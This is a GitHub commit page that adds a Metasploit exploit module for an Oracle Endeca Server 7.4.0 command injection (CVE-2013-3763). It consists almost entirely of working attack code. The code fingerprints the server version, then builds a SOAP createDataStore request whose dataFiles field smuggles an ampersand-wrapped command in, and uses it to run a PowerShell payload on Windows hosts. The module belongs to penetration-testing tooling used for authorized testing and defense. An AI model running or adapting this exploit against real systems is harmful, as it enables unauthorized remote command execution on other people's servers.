Skip to content

Commit 7b5e98d

Browse files
committed
Land rapid7#2269 - Oracle Endeca Server Remote Command Execution
2 parents 9aba91a + ad214da commit 7b5e98d

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Powershell
15+
16+
def initialize
17+
super(
18+
'Name' => 'Oracle Endeca Server Remote Command Execution',
19+
'Description' => %q{
20+
This module exploits a command injection vulnerability on the Oracle Endeca
21+
Server 7.4.0. The vulnerability exists on the createDataStore method from the
22+
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
23+
branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
24+
has been found to be Windows specific. This module has been tested successfully
25+
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
26+
},
27+
'Author' => [
28+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
29+
'juan vazquez' # Metasploit module
30+
],
31+
'Platform' => 'win',
32+
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-3763' ],
36+
[ 'BID', '61217' ],
37+
[ 'OSVDB', '95269' ],
38+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ],
39+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]
40+
],
41+
'Targets' =>
42+
[
43+
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
44+
],
45+
'DefaultTarget' => 0,
46+
'Privileged' => false,
47+
'DisclosureDate' => 'Jul 16 2013'
48+
)
49+
50+
register_options(
51+
[
52+
Opt::RPORT(7770),
53+
OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
54+
], self.class)
55+
end
56+
57+
def peer
58+
return "#{rhost}:#{rport}"
59+
end
60+
61+
def version_soap
62+
soap = <<-eos
63+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
64+
<soapenv:Header/>
65+
<soapenv:Body>
66+
<ns:version/>
67+
</soapenv:Body>
68+
</soapenv:Envelope>
69+
eos
70+
71+
return soap
72+
end
73+
74+
def create_data_store_soap(name, files)
75+
soap = <<-eos
76+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
77+
<soapenv:Header/>
78+
<soapenv:Body>
79+
<ns:createDataStore>
80+
<ns:dataStoreConfig>
81+
<ns:name>#{name}</ns:name>
82+
<ns:dataFiles>#{files}</ns:dataFiles>
83+
</ns:dataStoreConfig>
84+
</ns:createDataStore>
85+
</soapenv:Body>
86+
</soapenv:Envelope>
87+
eos
88+
89+
return soap
90+
end
91+
92+
def check
93+
94+
res = send_request_soap(version_soap)
95+
96+
if res.nil? or res.code != 200 or res.body !~ /versionResponse/
97+
return Exploit::CheckCode::Safe
98+
end
99+
100+
version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
101+
102+
if version_match.nil?
103+
return Exploit::CheckCode::Unknown
104+
else
105+
version = version_match[1]
106+
end
107+
108+
print_status("#{peer} - Version found: Oracle Endeca Server #{version}")
109+
110+
if version =~ /7\.4\.0/ and version <= "7.4.0.787"
111+
return Exploit::CheckCode::Vulnerable
112+
end
113+
114+
return Exploit::CheckCode::Safe
115+
116+
end
117+
118+
def send_request_soap(data)
119+
res = send_request_cgi({
120+
'uri' => normalize_uri(target_uri.path),
121+
'method' => 'POST',
122+
'ctype' => 'text/xml; charset=utf-8',
123+
'headers' =>
124+
{
125+
'SOAPAction' => "\"\""
126+
},
127+
'data' => data
128+
})
129+
130+
return res
131+
end
132+
133+
def exploit
134+
command = cmd_psh_payload(payload.encoded)
135+
if command.length > 8000
136+
# Windows 2008 Command Prompt Max Length is 8191
137+
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
138+
end
139+
print_status("#{peer} - Exploiting through Powershell...")
140+
execute_command(command)
141+
end
142+
143+
def execute_command(cmd)
144+
# HTML encode ampersands so SOAP is correctly interpreted
145+
cmd.gsub!(/&/, "&#x26;")
146+
injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"
147+
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
148+
begin
149+
res = send_request_soap(exploit_data)
150+
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
151+
print_status("#{res.code}\n#{res.body}") if res
152+
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
153+
end
154+
rescue ::Rex::ConnectionError
155+
fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
156+
end
157+
end
158+
159+
end

0 commit comments

Comments
 (0)